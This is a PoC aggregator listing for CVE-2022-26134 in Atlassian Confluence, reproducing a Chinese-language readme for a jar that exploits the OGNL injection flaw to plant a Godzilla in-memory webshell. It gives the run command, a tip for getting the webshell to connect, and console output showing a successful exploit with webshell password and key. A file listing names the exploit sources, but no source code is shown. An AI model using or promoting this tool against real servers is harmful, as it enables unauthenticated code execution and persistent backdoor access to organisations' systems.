CVE-2022-26134 PoC — Atlassian Confluence Server 注入漏洞

Source

https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL

Associated Vulnerability

Title:Atlassian Confluence Server 注入漏洞 (CVE-2022-26134)
Description:In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.

Readme

# CVE-2022-26134-Godzilla-MEMSHELL

## Usage
```
java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥

example
        java -jar CVE-2022-26134.jar pass key

```

如果内存Shell已经注入成功但哥斯拉无法连接,请在请求配置添加以下协议头或者为哥斯拉配置Burp代理
```
Connection: close
```


![image](https://user-images.githubusercontent.com/43266206/172345734-6cfd69f7-35d6-40a7-af80-4ce98dfbfe83.png)


```

C:\CVE_2022_26134_jar>java -jar CVE-2022-26134.jar http://10.10.10.10:8090/ pass key
[*] url: http://10.10.10.10:8090/
[*] send payload
[*] exploit success
[*] godzilla webshell password : pass
[*] godzilla webshell key : key

C:\CVE_2022_26134_jar>

```

![image](https://user-images.githubusercontent.com/43266206/172345836-c1df504f-6f36-4fa2-8874-48750a4af291.png)

File Snapshot


 [4.0K]  /data/pocs/ec3c10d26a5578beabe8187fac9395227a6eeef1
├── [ 500]  CVE-2022-26134.iml
├── [4.0K]  libs
│   └── [832K]  javassist-3.28.0-GA.jar
├── [ 820]  README.md
└── [4.0K]  src
    ├── [4.0K]  main
    │   ├── [ 900]  1.js
    │   ├── [3.6K]  Main.java
    │   ├── [7.5K]  MemShell.java
    │   └── [2.6K]  MiTM.java
    └── [4.0K]  META-INF
        └── [  45]  MANIFEST.MF

4 directories, 8 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!